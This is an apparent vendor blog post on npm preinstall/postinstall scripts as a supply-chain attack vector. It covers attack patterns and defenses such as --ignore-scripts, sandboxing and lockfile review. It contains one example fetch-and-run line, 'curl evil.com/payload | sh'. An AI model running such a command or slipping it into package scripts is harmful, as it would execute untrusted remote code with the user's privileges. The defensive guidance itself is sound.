Every time you run npm install, you are executing code from every package in your dependency tree that defines lifecycle scripts. preinstall, install, and postinstall scripts run automatically, with the full privileges of your user account, before your application code even loads.
This is the single most exploited vector in JavaScript supply chain attacks. The ua-parser-js incident, the event-stream attack, the eslint-scope compromise, and dozens of less publicized attacks all leveraged install scripts to execute malicious code.
How Install Scripts Work
npm supports several lifecycle scripts defined in package.json:
preinstall-- runs before the package is installedinstall-- runs after the package files are extractedpostinstall-- runs after the package and all its dependencies are installedprepare-- runs after install and before pack
These scripts can be any command: shell scripts, Node.js scripts, binary executables. They run with the full permissions of the user running npm install.
A typical legitimate use case is compiling native addons (node-gyp rebuild in postinstall). An illegitimate use case is curl evil.com/payload | sh.
Why This Is Dangerous
Automatic execution. Install scripts run automatically unless explicitly disabled. A developer running npm install might not know which of their hundreds of transitive dependencies have install scripts, or what those scripts do.
Full user privileges. Install scripts have the same filesystem, network, and process access as the user. On a developer workstation, that is usually full access to the home directory, SSH keys, cloud credentials, and source code. In CI, it is access to deployment secrets and build artifacts.
Transitive execution. You might carefully audit your direct dependencies, but install scripts in transitive dependencies (dependencies of dependencies) also run. A popular package that adds a new dependency with an install script silently introduces script execution.
Network access. Install scripts can download and execute additional payloads from the internet. This means the malicious code does not even need to be in the npm package itself -- the install script just downloads it.
Attack Patterns
Credential exfiltration. The most common pattern. The install script reads environment variables, SSH keys, or cloud credential files and sends them to an attacker-controlled server.
Reverse shell. The install script establishes a reverse shell connection, giving the attacker interactive access to the build environment.
Cryptocurrency mining. Less sophisticated attacks use install scripts to download and run cryptocurrency miners on developer workstations and CI runners.
Source code theft. The install script reads source code from the current working directory (which is typically the project root during npm install) and exfiltrates it.
Backdoor injection. The install script modifies other packages in node_modules or injects code into the project's source files.
Defenses
Use --ignore-scripts. The nuclear option. Running npm install --ignore-scripts skips all lifecycle scripts. This breaks packages that need native compilation but eliminates the install script attack vector entirely.
For projects that do not need native addons, --ignore-scripts should be the default. Add it to .npmrc:
ignore-scripts=true
Then selectively run scripts for packages that need them:
npx node-gyp rebuild --directory=node_modules/bcrypt
Use npm audit signatures. npm now supports registry signature verification. This verifies that packages were published through the npm registry's signing process.
Lock dependencies. Use package-lock.json with exact versions. Review lockfile changes in code review. An unexpected new dependency with an install script should trigger investigation.
Monitor for install scripts. Tools like can-i-ignore-scripts and npm-audit-level can identify which packages in your dependency tree have install scripts. Review this list and investigate any unexpected entries.
Run installation in sandboxes. In CI, run npm install in a container with no network access to external servers (only the npm registry). This prevents install scripts from exfiltrating data.
Use corepack and managed registries. corepack ensures a specific package manager version is used. A managed registry (Artifactory, Verdaccio) can scan packages for malicious install scripts before making them available.
The Ecosystem Response
npm has taken steps to reduce install script risk:
- The npm CLI warns about install scripts from new or unverified packages
npm auditreports packages with known vulnerabilities- Registry signatures provide provenance verification
- The
--foreground-scriptsflag makes install script output visible
But the fundamental design -- automatic code execution during installation -- remains unchanged. Until npm changes this default, install scripts will continue to be the primary attack vector for JavaScript supply chain attacks.
How Safeguard.sh Helps
Safeguard.sh monitors your npm dependency tree for packages with install scripts, known vulnerabilities, and suspicious publication patterns. When a package in your tree is compromised through an install script attack, Safeguard.sh alerts you with the affected projects and recommended actions. Our continuous monitoring detects newly published malicious packages faster than periodic npm audit runs, giving you earlier warning of supply chain threats.